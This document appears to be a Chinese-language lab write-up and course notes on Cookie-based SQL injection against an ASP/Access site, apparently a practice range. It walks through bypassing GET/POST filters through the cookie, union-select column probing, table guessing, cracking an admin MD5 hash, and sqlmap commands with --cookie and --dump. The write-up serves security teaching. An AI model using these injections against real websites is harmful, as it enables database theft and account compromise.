Access-Cookie注入
基础知识
Access注入 — Cookie注入
Access => 数据库中的一种
Cookie注入 => 特殊的传参方式产生的注入
常见数据库: Access Mysql mssql(sql server) Oracle
Cookie => 门禁卡|身份证
select*from news where id=$_REQUEST['id']
现在这个网站会对GET POST数据进行一个检测
设置Cookie
1、依靠浏览器进行设置
2、抓包直接修改
3、浏览器有的插件也可以设置Cookie
4、浏览器自带Js进行设置
document.cookie => 当前网站的Cookie有什么
document.cookie="id=111111 'a'b'c"
Cookie注入最好是进行一次编码
有拦截就得绕过:
1、不让你检测 (走私) []
2、规避规则 (藏东西过海关)
它可以接受Cookie传参并且拼接进数据库
Cookie很多时候都需要URL编码
http://tool.chinaz.com/tools/urlencode.aspx
Access 很老的数据库 => 他不是数据库只是表的集合
Access 数据库的机构 => 表、字段
select 1,2,3,4,5,6,7,8,9 => mysql
1、select xxxx from 表 => 正常查询
表名怎么知道? => 猜
and exists (select*from 表名)
数据库的表也不是乱写的
admin news job work admin_user user
常见状况:
ASP - Access => 有点老,快被淘汰了
PHP - Mysql|Oracle|Mssql
ASPX - mssql
JSP - Oracle|Mysql
具体的检测就需要不断地学习
# 是mysql特有的注释
MSSQL有自己的特有的系统自带库名
Oracle有自己的特定语法
猜到了表名,我们还要猜字段名
1、如何在知道表名不知道字段名的情况下,获取目标信息(偏移注入)
admin 表 => 可以拿出admin表里面的数据了
2、猜
admin => id字段
什么网站存在Cookie注入
1、ASP的站点存在可能性极高
2、PHP版本低于5.3的版本可能性极高
不要陷入思维误区
1、设置的Cookie能够影响到页面的数据不代表存在SQL注入
一、靶场地址
http://59.63.200.79:8004/shownews.asp?id=172
二、判断注入点
http://59.63.200.79:8004/shownews.asp?id=172-1
-- 通过减号得到正常171页面的返回,判断具有SQL注入
-- order by 得到字段数
http://59.63.200.79:8004/shownews.asp?id=172 order by 10
-- 得到共10个字段
二、手工注入
1. 默认方式获得回显点;
-- 获得回显点
http://59.63.200.79:8004/shownews.asp?id=172%20union%20select%201,2,3,4,5,6,7,8,9,10
对方存在参数过滤,这么怎么办呢,尝试一下避开这个检测。
2. 设置Cookie绕过;
url中未设置id参数,但是也获取到了id=172的页面,说明存在cookie注入。
3. 通过Cookie注入点确定回显点;
尝试使用url编码一下呢!
仍然错误,怀疑是不是不是MySQL,我们把后面union 联合查询后面的SQL语句补全呢。
终于可以了,回显点位为 2,3,7,8,9!
4. 查询;
我们这里可以通过 and exists (selectfrom 表名) 来爆破出表名,以及表名!
这里我们就尝试最常见的admin表以及username,password字段呢
直接跑出来了账号admin以及密码!
MD5解密 b9a2a2b5dffb918c ==> welcome
三、SQLMap
1.抓包;
2. 跑包;
GET /shownews.asp HTTP/1.1
Host: 59.63.200.79:8004
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASPSESSIONIDSQATTCBS=ELPPLLACNMMHBLPCJLBHOJHK; id=172*
Connection: close
python sqlmap.py -r sql-cookie.txt --dump
-- 可以跑出数据,但是需要跑两个字典,时间太长了,这里我就没有跑
总结
对于变量的获取,不要局限于GET/POST的,可能由于版本问题Cookie也有可能。
常见问题
Cookie注入常见问题汇总
1. Cookie注入常见吗?
老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参
2. COOKIE注入时为什么要删除URL内的id传参
因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参,具体也是要看语言的,我测试过,PHP会优先接受Cookie传参.
3. 为什么可以cookie注入
因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参
4. 为什么没用到information_schema
access数据库里没有系统自带表,只能猜
5. 不能查information_schema怎么得知表名
可以靠爆破和尝试一些常用表名(例如:news、admin、user)
6. 为什么cookie注入里查找回显点语句后要加上from admin
因为access数据库不支持select 1,2,3 这样的语句,他必须要跟表名
7. 为什么cookie注入语句后面不用加注释
这个和SQL语句的组成部分有关,你注入的地方语句如果是
Select*from news where id=1 然后注入点在id=这里自然可以不加注释
8. 为什么cookie注入可以绕过验证
因为早期网站防护只检测GET和POST传参,没有检测COOKIE
9. sqlmap如何进行cookie注入
Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)
还可以抓包,在Cookie后面打个*就可以了
10. 在无法查询系统自带库的时候如何获取表名
可以burp抓包爆破查询表名,因为表名的命名一般都有规则
and exist(select * from xxx)
11. cookie注入和显错注入,盲注这些有什么不同
我们课堂演示的Cookie注入属于显错注入,凡事都是讲究对应,例如大对小 胖对瘦 高对矮。Cookie注入的核心是传参方式,他对应的应该是POST注入之类的。显错注入的分类很明显核心看是否是显错,那么对应的就是盲注或者报错注入之类的。
12. 什么是cookie
一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
13. 如何去修改cookie
可以抓包修改(burp)
可以在浏览器里打开f12控制台通过JS修改,还可以在存储里修改cookie
可以使用插件修改(modify headers)
14. Cookie注入中可以用盲注的方式去判断表名吗
可以呀,不过能用显错就用显错,这里即使是用盲注还是得暴力猜解表名
15. Cookie注入只能在Access数据库上面使用吗?
并不是呀,基本上所有数据库都能呀,Cookie注入核心是传参方式,传参方式和数据库类型没有关系呀,是动态脚本语言干的事,这个锅数据库他不背。
16. Cookie注入仅仅在ASP站点有吗?
Cookie注入在PHP中也有,但是最多得还是ASP,因为PHP在5.4的版本$_REQUEST就不会再接受Cookie传参了。
17. 为什么我写的语句放入Cookie无效,SQL注入无效
因为Cookie需要进行一次URL编码才会有效果
18. 为什么我谷歌直接修改Cookie没有效果
建议使用火狐浏览器,不要使用谷歌
19. 如果用Sqlmap直接跑Cookie注入
sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2